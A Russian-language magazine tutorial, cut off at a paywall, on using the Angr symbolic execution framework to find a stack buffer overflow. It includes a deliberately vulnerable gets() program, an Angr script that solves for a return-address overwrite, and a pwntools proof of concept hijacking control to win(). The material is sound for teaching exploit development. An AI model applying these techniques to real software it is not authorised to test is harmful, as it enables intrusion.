Сим­воличес­кий эму­лятор Angr поможет перех­ватить управле­ние в чужом коде, дос­таточ­но лишь ука­зать ему нап­равле­ние поис­ка. В этой статье узна­ем, как с его помощью находить ана­логич­ные дыры в при­ложе­ниях, напишем ана­лиза­тор inline-фун­кций и соз­дадим рабочий экс­пло­ит для нас­тояще­го FTP-сер­вера.

info

Ес­ли хочешь боль­ше узнать про Angr, советую заг­лянуть в мою прош­лую статью — «Уп­равле­ние гне­вом. Изу­чаем Angr — фрей­мворк сим­воличес­кой эму­ляции».

 

Unconstrained

Да­вай напишем и соберем подопыт­ный экзем­пляр — неболь­шую прог­рамму, которая заведо­мо будет уяз­вима к перепол­нению буфера. Фла­ги сбор­ки гаран­тиру­ют ста­тич­ный ImageBase и отсутс­твие сте­ковой канарей­ки, чем зна­читель­но упро­щают нам жизнь.

// gcc exp2.c -m32 -fno-stack-protector -no-pie -o exp2_32
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void win()
{
printf("Win!\n");
}
void func(int key)
{
char buf[32];
printf("overflow me : ");
gets(buf);
}
int main(int argc, char* argv[])
{
func(1);
return 0;
}

Код при­нима­ет вве­ден­ную стро­ку в локаль­ный буфер. Наша задача — перепол­нить буфер таким обра­зом, что­бы передать управле­ние в фун­кцию win.

08049196 int32_t win()
080491b3 e8b8feffff call puts
080491c1 char* func()
080491c1 55 push ebp {__saved_ebp}
080491c2 89e5 mov ebp, esp {__saved_ebp}
080491c4 53 push ebx {__saved_ebx}
080491c5 83ec24 sub esp, 0x24
080491e8 8d45d8 lea eax, [ebp-0x28 {buf}]
080491eb 50 push eax {buf} {var_3c}
080491ec e86ffeffff call gets
080491f8 c9 leave {__saved_ebp}
080491f9 c3 retn {__return_addr}
080491fa int32_t main(int32_t argc, char** argv, char** envp)
08049218 68efbeadde push 0x1
0804921d e89fffffff call func
08049222 83c410 add esp, 0x10

Под­смот­рим в отладчи­ке акту­аль­ные адре­са. На вхо­де в фун­кцию func() на вер­шине сте­ка лежит адрес воз­вра­та. Про­лог сох­раня­ет в сте­ке ста­рый EBP, пос­ле чего вычита­ет 0x24 из ESP, обра­зуя на сте­ке «кар­ман» под локаль­ные дан­ные.

0xffffd6a0: 00 00 00 00 # buf
# (...) local variables
0xffffd6c4: 00 80 f9 f7 # old EBX
0xffffd6c8: e8 d6 ff ff # old EBP
0xffffd6cc: 22 92 04 08 # ret addr -> 0x08049222

Стек выг­лядит впол­не при­выч­ным обра­зом. Поп­робу­ем переза­писать адрес воз­вра­та.

import angr
import claripy
project = angr.Project('exp2_32', auto_load_libs=False)
symbolic_input = claripy.BVS("input", 48 * 8)
initial_state = project.factory.entry_state(stdin=symbolic_input, args=['./a.out'])
initial_state.options.add('SYMBOL_FILL_UNCONSTRAINED_MEMORY')
initial_state.options.add('SYMBOL_FILL_UNCONSTRAINED_REGISTERS')
def is_fully_symbolic_pc(state):
for i in range(state.arch.bits):
if not state.solver.symbolic(state.regs.pc[i]):
return False
return True
simulation = project.factory.simgr(
initial_state,
save_unconstrained=True,
stashes={
'active' : [initial_state],
'unconstrained' : [],
'found' : [],
'not_needed' : []
}
)
def is_successful(state):
return simulation.unconstrained
simulation.explore(find=is_successful)
solution_state = simulation.unconstrained[0]
if is_fully_symbolic_pc(solution_state):
solution_state.add_constraints(solution_state.regs.eip == 0x8049196)
solution = solution_state.solver.eval(symbolic_input,cast_to=bytes)
print('input:', solution)

Скрипт под­бира­ет вход­ные дан­ные для переда­чи управле­ния на адрес 0x8049196. Как это работа­ет? Прос­то запус­каем симуля­цию и ждем запол­нения ящи­ка unconstrained. В него помеща­ются сос­тояния, из которых есть боль­ше 256 воз­можных адре­сов перехо­да. Чаще все­го это зна­чит, что регистр EIP час­тично или пол­ностью зависит от кон­тро­лиру­емых нами сим­воличес­ких перемен­ных. На вся­кий слу­чай про­веря­ем, что каж­дый бит регис­тра EIP сим­воличес­кий. Далее ста­вим ог­раниче­ние, при котором регистр равен нуж­ному нам зна­чению. И запус­каем кон­кре­тиза­цию решений.

input: b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x96\x91\x04\x08'

Про­верим, что все работа­ет. Для удобс­тва исполь­зуем pwntools:

from pwn import *
p = process('./exp2_32')
buff = b'\x00' * 44 + b'\x96\x91\x04\x08'
p.sendline(buff)
print(p.recv())

И получа­ем дол­гождан­ный резуль­тат.

$ python test_exp2.py

[+] Starting local process './exp2_32': pid 9178

b'overflow me : Win!\n'

[*] Stopped process './exp2_32' (pid 9178)
 

Пишем анализатор VEX

Пе­репол­нения час­то встре­чают­ся в таких фун­кци­ях, как strcpy. Если они импорти­руют­ся из внеш­них биб­лиотек, най­ти и про­верить их при­мене­ние вруч­ную не сос­тавля­ет боль­шого тру­да. Одна­ко опти­мизи­рующие ком­пилято­ры час­то заменя­ют их инлай­новой вер­сией.

Продолжение доступно только участникам

Материалы из последних выпусков становятся доступны по отдельности только через два месяца после публикации. Чтобы продолжить чтение, необходимо стать участником сообщества «Xakep.ru».

Присоединяйся к сообществу «Xakep.ru»!

Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее

  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    0 комментариев
    Межтекстовые Отзывы
    Посмотреть все комментарии